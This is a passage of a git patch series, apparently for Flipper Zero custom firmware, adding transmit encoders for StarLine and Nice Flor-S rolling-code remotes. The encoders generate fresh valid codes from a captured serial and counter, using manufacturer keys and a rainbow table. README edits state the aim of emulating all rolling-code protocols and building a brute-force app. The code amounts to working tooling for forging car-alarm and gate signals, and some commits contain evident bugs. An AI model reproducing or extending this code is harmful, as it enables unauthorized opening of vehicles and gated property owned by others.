0; for(uint8_t y = 0; y < 2; y++) { - k = subghz_protocol_nice_flor_s_get_byte_in_file(file_name, p[0] & 0x1f); + k = subghz_protocol_nice_flor_s_get_byte_in_file(nice_flor_s_rainbow_table_file_name, p[0] & 0x1f); subghz_protocol_decoder_nice_flor_s_magic_xor(p, k); p[5] &= 0x0f; p[0] ^= k & 0xe0; - k = subghz_protocol_nice_flor_s_get_byte_in_file(file_name, p[0] >> 3) + 0x25; + k = subghz_protocol_nice_flor_s_get_byte_in_file(nice_flor_s_rainbow_table_file_name, p[0] >> 3) + 0x25; subghz_protocol_decoder_nice_flor_s_magic_xor(p, k); p[5] &= 0x0f; @@ -308,7 +309,7 @@ uint64_t subghz_protocol_nice_flor_s_encrypt(uint64_t data, const char* file_nam } static uint64_t - subghz_protocol_nice_flor_s_decrypt(SubGhzBlockGeneric* instance, const char* file_name) { + subghz_protocol_nice_flor_s_decrypt(SubGhzBlockGeneric* instance, const char* nice_flor_s_rainbow_table_file_name) { furi_assert(instance); uint64_t data = instance->data; uint8_t* p = (uint8_t*)&data; @@ -325,12 +326,12 @@ static uint64_t p[1] = k; for(uint8_t y = 0; y < 2; y++) { - k = subghz_protocol_nice_flor_s_get_byte_in_file(file_name, p[0] >> 3) + 0x25; + k = subghz_protocol_nice_flor_s_get_byte_in_file(nice_flor_s_rainbow_table_file_name, p[0] >> 3) + 0x25; subghz_protocol_decoder_nice_flor_s_magic_xor(p, k); p[5] &= 0x0f; p[0] ^= k & 0x7; - k = subghz_protocol_nice_flor_s_get_byte_in_file(file_name, p[0] & 0x1f); + k = subghz_protocol_nice_flor_s_get_byte_in_file(nice_flor_s_rainbow_table_file_name, p[0] & 0x1f); subghz_protocol_decoder_nice_flor_s_magic_xor(p, k); p[5] &= 0x0f; @@ -453,11 +454,11 @@ void subghz_protocol_decoder_nice_flor_s_feed(void* context, bool level, uint32_ /** * Analysis of received data * @param instance Pointer to a SubGhzBlockGeneric* instance - * @param file_name Full path to rainbow table the file + * @param nice_flor_s_rainbow_table_file_name Full path to rainbow table the file */ static void subghz_protocol_nice_flor_s_remote_controller( SubGhzBlockGeneric* instance, - const char* file_name) { + const char* nice_flor_s_rainbow_table_file_name) { /* * Packet format Nice Flor-s: START-P0-P1-P2-P3-P4-P5-P6-P7-STOP * P0 (4-bit) - button positional code - 1:0x1, 2:0x2, 3:0x4, 4:0x8; @@ -480,12 +481,12 @@ static void subghz_protocol_nice_flor_s_remote_controller( * decrypt => 0x10436c6820444 => 0x1 0436c682 0444 * */ - if(!file_name) { + if(!nice_flor_s_rainbow_table_file_name) { instance->cnt = 0; instance->serial = 0; instance->btn = 0; } else { - uint64_t decrypt = subghz_protocol_nice_flor_s_decrypt(instance, file_name); + uint64_t decrypt = subghz_protocol_nice_flor_s_decrypt(instance, nice_flor_s_rainbow_table_file_name); instance->cnt = decrypt & 0xFFFF; instance->serial = (decrypt >> 16) & 0xFFFFFFF; instance->btn = (decrypt >> 48) & 0xF; diff --git a/lib/subghz/protocols/nice_flor_s.h b/lib/subghz/protocols/nice_flor_s.h index f6fd34a33..8c20b892c 100644 --- a/lib/subghz/protocols/nice_flor_s.h +++ b/lib/subghz/protocols/nice_flor_s.h @@ -43,7 +43,7 @@ bool subghz_protocol_nice_flor_s_create_data( uint16_t cnt, uint32_t frequency, FuriHalSubGhzPreset preset, - const char* file_name); + const char* nice_flor_s_rainbow_table_file_name); /** * Deserialize and generating an upload to send. From 2d0bd089ce6eb346ce48c96de202fd0ec7ad1dc5 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 21 Mar 2022 02:45:32 +0300 Subject: [PATCH 011/461] StarLine SAVE & SEND seems to be OK, need to test... --- lib/subghz/protocols/star_line.c | 241 ++++++++++++++++++++++++++++++- lib/subghz/protocols/star_line.h | 56 +++++++ 2 files changed, 291 insertions(+), 6 deletions(-) diff --git a/lib/subghz/protocols/star_line.c b/lib/subghz/protocols/star_line.c index 7db33570c..520ef4e29 100644 --- a/lib/subghz/protocols/star_line.c +++ b/lib/subghz/protocols/star_line.c @@ -36,6 +36,9 @@ struct SubGhzProtocolEncoderStarLine { SubGhzProtocolBlockEncoder encoder; SubGhzBlockGeneric generic; + + SubGhzKeystore* keystore; + const char* manufacture_name; }; typedef enum { @@ -59,23 +62,249 @@ const SubGhzProtocolDecoder subghz_protocol_star_line_decoder = { }; const SubGhzProtocolEncoder subghz_protocol_star_line_encoder = { - .alloc = NULL, - .free = NULL, + .alloc = subghz_protocol_encoder_star_line_alloc, + .free = subghz_protocol_encoder_star_line_free, - .deserialize = NULL, - .stop = NULL, - .yield = NULL, + .deserialize = subghz_protocol_encoder_star_line_deserialize, + .stop = subghz_protocol_encoder_star_line_stop, + .yield = subghz_protocol_encoder_star_line_yield, }; const SubGhzProtocol subghz_protocol_star_line = { .name = SUBGHZ_PROTOCOL_STAR_LINE_NAME, .type = SubGhzProtocolTypeDynamic, - .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, + .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable + | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, .decoder = &subghz_protocol_star_line_decoder, .encoder = &subghz_protocol_star_line_encoder, }; +/** + * Analysis of received data + * @param instance Pointer to a SubGhzBlockGeneric* instance + * @param keystore Pointer to a SubGhzKeystore* instance + * @param manufacture_name + */ +static void subghz_protocol_star_line_check_remote_controller( + SubGhzBlockGeneric* instance, + SubGhzKeystore* keystore, + const char** manufacture_name); + +void* subghz_protocol_encoder_star_line_alloc(SubGhzEnvironment* environment) { + SubGhzProtocolEncoderStarLine* instance = malloc(sizeof(SubGhzProtocolEncoderStarLine)); + + instance->base.protocol = &subghz_protocol_star_line; + instance->generic.protocol_name = instance->base.protocol->name; + instance->keystore = subghz_environment_get_keystore(environment); + + instance->encoder.repeat = 10; + instance->encoder.size_upload = 256; + instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration)); + instance->encoder.is_runing = false; + return instance; +} + +void subghz_protocol_encoder_star_line_free(void* context) { + furi_assert(context); + SubGhzProtocolEncoderStarLine* instance = context; + free(instance->encoder.upload); + free(instance); +} + +/** + * Key generation from simple data + * @param instance Pointer to a SubGhzProtocolEncoderKeeloq* instance + * @param btn Button number, 4 bit + */ +static bool subghz_protocol_star_line_gen_data(SubGhzProtocolEncoderStarLine* instance, uint8_t btn) { + instance->generic.cnt++; + uint32_t fix = btn << 24 | instance->generic.serial; + uint32_t decrypt = btn << 24 | + (instance->generic.serial & 0xFF) + << 16 | + instance->generic.cnt; + uint32_t hop = 0; + uint64_t man = 0; + int res = 0; + + for + M_EACH(manufacture_code, *subghz_keystore_get_data(instance->keystore), SubGhzKeyArray_t) { + res = strcmp(string_get_cstr(manufacture_code->name), instance->manufacture_name); + if(res == 0) { + switch(manufacture_code->type) { + case KEELOQ_LEARNING_SIMPLE: + //Simple Learning + hop = subghz_protocol_keeloq_common_encrypt(decrypt, manufacture_code->key); + break; + case KEELOQ_LEARNING_NORMAL: + //Simple Learning + man = + subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); + break; + case KEELOQ_LEARNING_MAGIC_XOR_TYPE_1: + man = subghz_protocol_keeloq_common_magic_xor_type1_learning( + instance->generic.serial, manufacture_code->key); + hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); + break; + case KEELOQ_LEARNING_UNKNOWN: + hop = 0; //todo + break; + } + break; + } + } + if(hop) { + uint64_t yek = (uint64_t)fix << 32 | hop; + instance->generic.data = + subghz_protocol_blocks_reverse_key(yek, instance->generic.data_count_bit); + return true; + } else { + instance->manufacture_name = "Unknown"; + return false; + } +} + +bool subghz_protocol_star_line_create_data( + void* context, + FlipperFormat* flipper_format, + uint32_t serial, + uint8_t btn, + uint16_t cnt, + const char* manufacture_name, + uint32_t frequency, + FuriHalSubGhzPreset preset) { + furi_assert(context); + SubGhzProtocolEncoderStarLine* instance = context; + instance->generic.serial = serial; + instance->generic.cnt = cnt; + instance->manufacture_name = manufacture_name; + instance->generic.data_count_bit = 64; + bool res = subghz_protocol_star_line_gen_data(instance, btn); + if(res) { + res = + subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); + } + return res; +} + +/** + * Generating an upload from data. + * @param instance Pointer to a SubGhzProtocolEncoderKeeloq instance + * @return true On success + */ +static bool + subghz_protocol_encoder_star_line_get_upload(SubGhzProtocolEncoderStarLine* instance, uint8_t btn) { + furi_assert(instance); + + //gen new key + if(subghz_protocol_star_line_gen_data(instance, btn)) { + //ToDo if you need to add a callback to automatically update the data on the display + } else { + return false; + } + + size_t index = 0; + size_t size_upload = 6 * 2 + (instance->generic.data_count_bit * 2) + 4; + if(size_upload > instance->encoder.size_upload) { + FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer."); + return false; + } else { + instance->encoder.size_upload = size_upload; + } + + //Send header + for(uint8_t i = 6; i > 0; i--) { + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_star_line_const.te_long * 2); + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_star_line_const.te_long * 2); + } + + //Send key data + for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { + if(bit_read(instance->generic.data, i - 1)) { + //send bit 1 + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_star_line_const.te_long); + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_star_line_const.te_long); + } else { + //send bit 0 + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_star_line_const.te_short); + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_star_line_const.te_short); + } + } + + return true; +} + +bool subghz_protocol_encoder_star_line_deserialize(void* context, FlipperFormat* flipper_format) { + furi_assert(context); + SubGhzProtocolEncoderStarLine* instance = context; + bool res = false; + do { + if(!subghz_block_generic_deserialize(&instance->generic, flipper_format)) { + FURI_LOG_E(TAG, "Deserialize error"); + break; + } + + subghz_protocol_star_line_check_remote_controller( + &instance->generic, instance->keystore, &instance->manufacture_name); + + //optional parameter parameter + flipper_format_read_uint32( + flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1); + + subghz_protocol_encoder_keeloq_get_upload(instance, instance->generic.btn); + + if(!flipper_format_rewind(flipper_format)) { + FURI_LOG_E(TAG, "Rewind error"); + break; + } + uint8_t key_data[sizeof(uint64_t)] = {0}; + for(size_t i = 0; i < sizeof(uint64_t); i++) { + key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF; + } + if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) { + FURI_LOG_E(TAG, "Unable to add Key"); + break; + } + + instance->encoder.is_runing = true; + + res = true; + } while(false); + + return res; +} + +void subghz_protocol_encoder_star_line_stop(void* context) { + SubGhzProtocolEncoderStarLine* instance = context; + instance->encoder.is_runing = false; +} + +LevelDuration subghz_protocol_encoder_star_line_yield(void* context) { + SubGhzProtocolEncoderStarLine* instance = context; + + if(instance->encoder.repeat == 0 || !instance->encoder.is_runing) { + instance->encoder.is_runing = false; + return level_duration_reset(); + } + + LevelDuration ret = instance->encoder.upload[instance->encoder.front]; + + if(++instance->encoder.front == instance->encoder.size_upload) { + instance->encoder.repeat--; + instance->encoder.front = 0; + } + + return ret; +} + void* subghz_protocol_decoder_star_line_alloc(SubGhzEnvironment* environment) { SubGhzProtocolDecoderStarLine* instance = malloc(sizeof(SubGhzProtocolDecoderStarLine)); instance->base.protocol = &subghz_protocol_star_line; diff --git a/lib/subghz/protocols/star_line.h b/lib/subghz/protocols/star_line.h index 9253ff523..8930648fe 100644 --- a/lib/subghz/protocols/star_line.h +++ b/lib/subghz/protocols/star_line.h @@ -11,6 +11,62 @@ extern const SubGhzProtocolDecoder subghz_protocol_star_line_decoder; extern const SubGhzProtocolEncoder subghz_protocol_star_line_encoder; extern const SubGhzProtocol subghz_protocol_star_line; +/** + * Allocate SubGhzProtocolEncoderStarLine. + * @param environment Pointer to a SubGhzEnvironment instance + * @return SubGhzProtocolEncoderStarLine* pointer to a SubGhzProtocolEncoderStarLine instance + */ +void* subghz_protocol_encoder_star_line_alloc(SubGhzEnvironment* environment); + +/** + * Free SubGhzProtocolEncoderStarLine. + * @param context Pointer to a SubGhzProtocolEncoderStarLine instance + */ +void subghz_protocol_encoder_star_line_free(void* context); + +/** + * Key generation from simple data. + * @param context Pointer to a SubGhzProtocolEncoderStarLine instance + * @param flipper_format Pointer to a FlipperFormat instance + * @param serial Serial number, 24 bit + * @param btn Button number, 8 bit + * @param cnt Counter value, 16 bit + * @param manufacture_name Name of manufacturer's key + * @param frequency Transmission frequency, Hz + * @param preset Modulation, FuriHalSubGhzPreset + * @return true On success + */ +bool subghz_protocol_star_line_create_data( + void* context, + FlipperFormat* flipper_format, + uint32_t serial, + uint8_t btn, + uint16_t cnt, + const char* manufacture_name, + uint32_t frequency, + FuriHalSubGhzPreset preset); + +/** + * Deserialize and generating an upload to send. + * @param context Pointer to a SubGhzProtocolEncoderStarLine instance + * @param flipper_format Pointer to a FlipperFormat instance + * @return true On success + */ +bool subghz_protocol_encoder_star_line_deserialize(void* context, FlipperFormat* flipper_format); + +/** + * Forced transmission stop. + * @param context Pointer to a SubGhzProtocolEncoderStarLine instance + */ +void subghz_protocol_encoder_star_line_stop(void* context); + +/** + * Getting the level and duration of the upload to be loaded into DMA. + * @param context Pointer to a SubGhzProtocolEncoderStarLine instance + * @return LevelDuration + */ +LevelDuration subghz_protocol_encoder_star_line_yield(void* context); + /** * Allocate SubGhzProtocolDecoderStarLine. * @param environment Pointer to a SubGhzEnvironment instance From 8f05d6f6a87be15f6de2947730fafdde31ab68f2 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 21 Mar 2022 02:48:55 +0300 Subject: [PATCH 012/461] Update star_line.c fix syntax --- lib/subghz/protocols/star_line.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/subghz/protocols/star_line.c b/lib/subghz/protocols/star_line.c index 520ef4e29..c65f529a0 100644 --- a/lib/subghz/protocols/star_line.c +++ b/lib/subghz/protocols/star_line.c @@ -259,7 +259,7 @@ bool subghz_protocol_encoder_star_line_deserialize(void* context, FlipperFormat* flipper_format_read_uint32( flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1); - subghz_protocol_encoder_keeloq_get_upload(instance, instance->generic.btn); + subghz_protocol_encoder_star_line_get_upload(instance, instance->generic.btn); if(!flipper_format_rewind(flipper_format)) { FURI_LOG_E(TAG, "Rewind error"); From 2c70f3d8ddd1f1d917b6d9f4560fec466b3c82cd Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 21 Mar 2022 04:02:08 +0300 Subject: [PATCH 013/461] Update nice_flor_s.c trying to make generate new rolling codes properly --- lib/subghz/protocols/nice_flor_s.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index e44ac1fdb..c34f80f4b 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -79,6 +79,10 @@ const SubGhzProtocol subghz_protocol_nice_flor_s = { .encoder = &subghz_protocol_nice_flor_s_encoder, }; +static void subghz_protocol_nice_flor_s_remote_controller( + SubGhzBlockGeneric* instance, + const char* nice_flor_s_rainbow_table_file_name); + void* subghz_protocol_encoder_nice_flor_s_alloc(SubGhzEnvironment* environment) { SubGhzProtocolEncoderNiceFlorS* instance = malloc(sizeof(SubGhzProtocolEncoderNiceFlorS)); @@ -101,7 +105,7 @@ void subghz_protocol_encoder_nice_flor_s_free(void* context) { static bool subghz_protocol_nice_flor_s_gen_data(SubGhzProtocolEncoderNiceFlorS* instance, uint8_t btn, const char* nice_flor_s_rainbow_table_file_name) { instance->generic.cnt++; - uint64_t data_to_encrypt = btn | instance->generic.serial | instance->generic.cnt; + uint64_t data_to_encrypt = btn << 4 | 0x0 << 28 | instance->generic.serial << 16 | instance->generic.cnt; instance->generic.data = subghz_protocol_nice_flor_s_encrypt(data_to_encrypt, nice_flor_s_rainbow_table_file_name); return true; } From e557716672a121791ebb99c97950c68a8f1e0c61 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 21 Mar 2022 14:45:33 +0300 Subject: [PATCH 014/461] keeloq uknown improvement, flor-s refactoring --- lib/subghz/protocols/keeloq.c | 5 ++- lib/subghz/protocols/nice_flor_s.c | 52 ++++++++++++++++-------------- lib/subghz/protocols/nice_flor_s.h | 2 +- 3 files changed, 33 insertions(+), 26 deletions(-) diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 18c4732a2..10cd5fecc 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -127,6 +127,7 @@ static bool subghz_protocol_keeloq_gen_data(SubGhzProtocolEncoderKeeloq* instanc instance->generic.cnt; uint32_t hop = 0; uint64_t man = 0; + uint64_t code_found_reverse; int res = 0; for @@ -150,7 +151,9 @@ static bool subghz_protocol_keeloq_gen_data(SubGhzProtocolEncoderKeeloq* instanc hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); break; case KEELOQ_LEARNING_UNKNOWN: - hop = 0; //todo + code_found_reverse = subghz_protocol_blocks_reverse_key( + instance->generic.data, instance->generic.data_count_bit); + hop = code_found_reverse & 0x00000000ffffffff; break; } break; diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index c34f80f4b..c7a5a2cf5 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -81,14 +81,19 @@ const SubGhzProtocol subghz_protocol_nice_flor_s = { static void subghz_protocol_nice_flor_s_remote_controller( SubGhzBlockGeneric* instance, - const char* nice_flor_s_rainbow_table_file_name); + const char* file_name); void* subghz_protocol_encoder_nice_flor_s_alloc(SubGhzEnvironment* environment) { SubGhzProtocolEncoderNiceFlorS* instance = malloc(sizeof(SubGhzProtocolEncoderNiceFlorS)); instance->base.protocol = &subghz_protocol_nice_flor_s; instance->generic.protocol_name = instance->base.protocol->name; - + instance->nice_flor_s_rainbow_table_file_name = + subghz_environment_get_nice_flor_s_rainbow_table_file_name(environment); + if(instance->nice_flor_s_rainbow_table_file_name) { + FURI_LOG_I( + TAG, "Loading rainbow table from %s", instance->nice_flor_s_rainbow_table_file_name); + } instance->encoder.repeat = 10; instance->encoder.size_upload = 256; instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration)); @@ -103,10 +108,10 @@ void subghz_protocol_encoder_nice_flor_s_free(void* context) { free(instance); } -static bool subghz_protocol_nice_flor_s_gen_data(SubGhzProtocolEncoderNiceFlorS* instance, uint8_t btn, const char* nice_flor_s_rainbow_table_file_name) { +static bool subghz_protocol_nice_flor_s_gen_data(SubGhzProtocolEncoderNiceFlorS* instance, uint8_t btn, const char* file_name) { instance->generic.cnt++; uint64_t data_to_encrypt = btn << 4 | 0x0 << 28 | instance->generic.serial << 16 | instance->generic.cnt; - instance->generic.data = subghz_protocol_nice_flor_s_encrypt(data_to_encrypt, nice_flor_s_rainbow_table_file_name); + instance->generic.data = subghz_protocol_nice_flor_s_encrypt(data_to_encrypt, file_name); return true; } @@ -118,13 +123,13 @@ bool subghz_protocol_nice_flor_s_create_data( uint16_t cnt, uint32_t frequency, FuriHalSubGhzPreset preset, - const char* nice_flor_s_rainbow_table_file_name) { + const char* file_name) { furi_assert(context); SubGhzProtocolEncoderNiceFlorS* instance = context; instance->generic.serial = serial; instance->generic.cnt = cnt; instance->generic.data_count_bit = 52; - bool res = subghz_protocol_nice_flor_s_gen_data(instance, btn, nice_flor_s_rainbow_table_file_name); + bool res = subghz_protocol_nice_flor_s_gen_data(instance, btn, file_name); if (res) { res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); @@ -138,11 +143,11 @@ bool subghz_protocol_nice_flor_s_create_data( * @return true On success */ static bool - subghz_protocol_encoder_nice_flor_s_get_upload(SubGhzProtocolEncoderNiceFlorS* instance, uint8_t btn, const char* nice_flor_s_rainbow_table_file_name) { + subghz_protocol_encoder_nice_flor_s_get_upload(SubGhzProtocolEncoderNiceFlorS* instance, uint8_t btn, const char* file_name) { furi_assert(instance); //gen new key - if(subghz_protocol_nice_flor_s_gen_data(instance, btn, nice_flor_s_rainbow_table_file_name)) { + if(subghz_protocol_nice_flor_s_gen_data(instance, btn, file_name)) { //ToDo if you need to add a callback to automatically update the data on the display } else { return false; @@ -197,7 +202,6 @@ bool subghz_protocol_encoder_nice_flor_s_deserialize(void* context, FlipperForma furi_assert(context); SubGhzProtocolEncoderNiceFlorS* instance = context; bool res = false; - const char* nice_flor_s_rainbow_table_file_name = nice_flor_s_rainbow_table_file_name; do { if(!subghz_block_generic_deserialize(&instance->generic, flipper_format)) { FURI_LOG_E(TAG, "Deserialize error"); @@ -208,7 +212,7 @@ bool subghz_protocol_encoder_nice_flor_s_deserialize(void* context, FlipperForma flipper_format_read_uint32( flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1); - subghz_protocol_encoder_nice_flor_s_get_upload(instance, instance->generic.btn, nice_flor_s_rainbow_table_file_name); + subghz_protocol_encoder_nice_flor_s_get_upload(instance, instance->generic.btn, instance->nice_flor_s_rainbow_table_file_name); if(!flipper_format_rewind(flipper_format)) { FURI_LOG_E(TAG, "Rewind error"); @@ -256,16 +260,16 @@ LevelDuration subghz_protocol_encoder_nice_flor_s_yield(void* context) { /** * Read bytes from rainbow table - * @param nice_flor_s_rainbow_table_file_name Full path to rainbow table the file + * @param file_name Full path to rainbow table the file * @param address Byte address in file * @return data */ static uint8_t - subghz_protocol_nice_flor_s_get_byte_in_file(const char* nice_flor_s_rainbow_table_file_name, uint32_t address) { - if(!nice_flor_s_rainbow_table_file_name) return 0; + subghz_protocol_nice_flor_s_get_byte_in_file(const char* file_name, uint32_t address) { + if(!file_name) return 0; uint8_t buffer[1] = {0}; - if(subghz_keystore_raw_get_data(nice_flor_s_rainbow_table_file_name, address, buffer, sizeof(uint8_t))) { + if(subghz_keystore_raw_get_data(file_name, address, buffer, sizeof(uint8_t))) { return buffer[0]; } else { return 0; @@ -278,17 +282,17 @@ static inline void subghz_protocol_decoder_nice_flor_s_magic_xor(uint8_t* p, uin } } -uint64_t subghz_protocol_nice_flor_s_encrypt(uint64_t data, const char* nice_flor_s_rainbow_table_file_name) { +uint64_t subghz_protocol_nice_flor_s_encrypt(uint64_t data, const char* file_name) { uint8_t* p = (uint8_t*)&data; uint8_t k = 0; for(uint8_t y = 0; y < 2; y++) { - k = subghz_protocol_nice_flor_s_get_byte_in_file(nice_flor_s_rainbow_table_file_name, p[0] & 0x1f); + k = subghz_protocol_nice_flor_s_get_byte_in_file(file_name, p[0] & 0x1f); subghz_protocol_decoder_nice_flor_s_magic_xor(p, k); p[5] &= 0x0f; p[0] ^= k & 0xe0; - k = subghz_protocol_nice_flor_s_get_byte_in_file(nice_flor_s_rainbow_table_file_name, p[0] >> 3) + 0x25; + k = subghz_protocol_nice_flor_s_get_byte_in_file(file_name, p[0] >> 3) + 0x25; subghz_protocol_decoder_nice_flor_s_magic_xor(p, k); p[5] &= 0x0f; @@ -313,7 +317,7 @@ uint64_t subghz_protocol_nice_flor_s_encrypt(uint64_t data, const char* nice_flo } static uint64_t - subghz_protocol_nice_flor_s_decrypt(SubGhzBlockGeneric* instance, const char* nice_flor_s_rainbow_table_file_name) { + subghz_protocol_nice_flor_s_decrypt(SubGhzBlockGeneric* instance, const char* file_name) { furi_assert(instance); uint64_t data = instance->data; uint8_t* p = (uint8_t*)&data; @@ -330,12 +334,12 @@ static uint64_t p[1] = k; for(uint8_t y = 0; y < 2; y++) { - k = subghz_protocol_nice_flor_s_get_byte_in_file(nice_flor_s_rainbow_table_file_name, p[0] >> 3) + 0x25; + k = subghz_protocol_nice_flor_s_get_byte_in_file(file_name, p[0] >> 3) + 0x25; subghz_protocol_decoder_nice_flor_s_magic_xor(p, k); p[5] &= 0x0f; p[0] ^= k & 0x7; - k = subghz_protocol_nice_flor_s_get_byte_in_file(nice_flor_s_rainbow_table_file_name, p[0] & 0x1f); + k = subghz_protocol_nice_flor_s_get_byte_in_file(file_name, p[0] & 0x1f); subghz_protocol_decoder_nice_flor_s_magic_xor(p, k); p[5] &= 0x0f; @@ -458,11 +462,11 @@ void subghz_protocol_decoder_nice_flor_s_feed(void* context, bool level, uint32_ /** * Analysis of received data * @param instance Pointer to a SubGhzBlockGeneric* instance - * @param nice_flor_s_rainbow_table_file_name Full path to rainbow table the file + * @param file_name Full path to rainbow table the file */ static void subghz_protocol_nice_flor_s_remote_controller( SubGhzBlockGeneric* instance, - const char* nice_flor_s_rainbow_table_file_name) { + const char* file_name) { /* * Packet format Nice Flor-s: START-P0-P1-P2-P3-P4-P5-P6-P7-STOP * P0 (4-bit) - button positional code - 1:0x1, 2:0x2, 3:0x4, 4:0x8; @@ -485,12 +489,12 @@ static void subghz_protocol_nice_flor_s_remote_controller( * decrypt => 0x10436c6820444 => 0x1 0436c682 0444 * */ - if(!nice_flor_s_rainbow_table_file_name) { + if(!file_name) { instance->cnt = 0; instance->serial = 0; instance->btn = 0; } else { - uint64_t decrypt = subghz_protocol_nice_flor_s_decrypt(instance, nice_flor_s_rainbow_table_file_name); + uint64_t decrypt = subghz_protocol_nice_flor_s_decrypt(instance, file_name); instance->cnt = decrypt & 0xFFFF; instance->serial = (decrypt >> 16) & 0xFFFFFFF; instance->btn = (decrypt >> 48) & 0xF; diff --git a/lib/subghz/protocols/nice_flor_s.h b/lib/subghz/protocols/nice_flor_s.h index 8c20b892c..f6fd34a33 100644 --- a/lib/subghz/protocols/nice_flor_s.h +++ b/lib/subghz/protocols/nice_flor_s.h @@ -43,7 +43,7 @@ bool subghz_protocol_nice_flor_s_create_data( uint16_t cnt, uint32_t frequency, FuriHalSubGhzPreset preset, - const char* nice_flor_s_rainbow_table_file_name); + const char* file_name); /** * Deserialize and generating an upload to send. From 50180a0dcccfc069f6b276eb45e527392d113364 Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Wed, 23 Mar 2022 23:30:17 +0300 Subject: [PATCH 015/461] Update ReadMe.md --- ReadMe.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/ReadMe.md b/ReadMe.md index 940e6051c..5834affe6 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -1,15 +1,15 @@ # Flipper Zero Firmware -[![Discord](https://img.shields.io/discord/740930220399525928.svg?label=&logo=discord&logoColor=ffffff&color=7389D8&labelColor=6A7EC2)](http://flipperzero.one/discord) +[![Discord](https://img.shields.io/discord/740930220399525928.svg?label=&logo=discord&logoColor=ffffff&color=7389D8&labelColor=6A7EC2)](https://discord.gg/58D6E8BtTU) -![Show me the code](https://habrastorage.org/webt/eo/m0/e4/eom0e4btudte7nrhnyic-laiog0.png) +fzCUSTOM Welcome to [Flipper Zero](https://flipperzero.one/)'s Firmware repo! Our goal is to create nice and clean code with good documentation, to make it a pleasure for everyone to work with. # Update firmware -[Get Latest Firmware from Update Server](https://update.flipperzero.one/) +[Get Latest Firmware from Update Server](https://github.com/Eng1n33r/flipperzero-firmware) Flipper Zero's firmware consists of three components: From 982a29de6720fa5c1af0732b2ebd7b424446feb6 Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Wed, 23 Mar 2022 23:30:34 +0300 Subject: [PATCH 016/461] Update ReadMe.md --- ReadMe.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReadMe.md b/ReadMe.md index 5834affe6..c5ea791be 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -1,4 +1,4 @@ -# Flipper Zero Firmware +# Flipper Zero Unleashed Firmware [![Discord](https://img.shields.io/discord/740930220399525928.svg?label=&logo=discord&logoColor=ffffff&color=7389D8&labelColor=6A7EC2)](https://discord.gg/58D6E8BtTU) From ab6b6282f82e395ff1cf13aff120c6e7b2e4e098 Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Wed, 23 Mar 2022 23:32:22 +0300 Subject: [PATCH 017/461] Update ReadMe.md --- ReadMe.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ReadMe.md b/ReadMe.md index c5ea791be..5f43778f2 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -4,8 +4,8 @@ fzCUSTOM -Welcome to [Flipper Zero](https://flipperzero.one/)'s Firmware repo! -Our goal is to create nice and clean code with good documentation, to make it a pleasure for everyone to work with. +Welcome to [Flipper Zero](https://flipperzero.one/)'s Custom Firmware repo! +Our goal is to make any features possible in this device without any stupid limitaions! Please help us realize emulation for all dynamic (rolling codes) protocols and brute-force app! # Update firmware From a572fe3a594fc1b8046cfff6f30296deb83d43cb Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Wed, 23 Mar 2022 23:32:58 +0300 Subject: [PATCH 018/461] Update ReadMe.md --- ReadMe.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReadMe.md b/ReadMe.md index 5f43778f2..a38dd8f28 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -5,7 +5,7 @@ fzCUSTOM Welcome to [Flipper 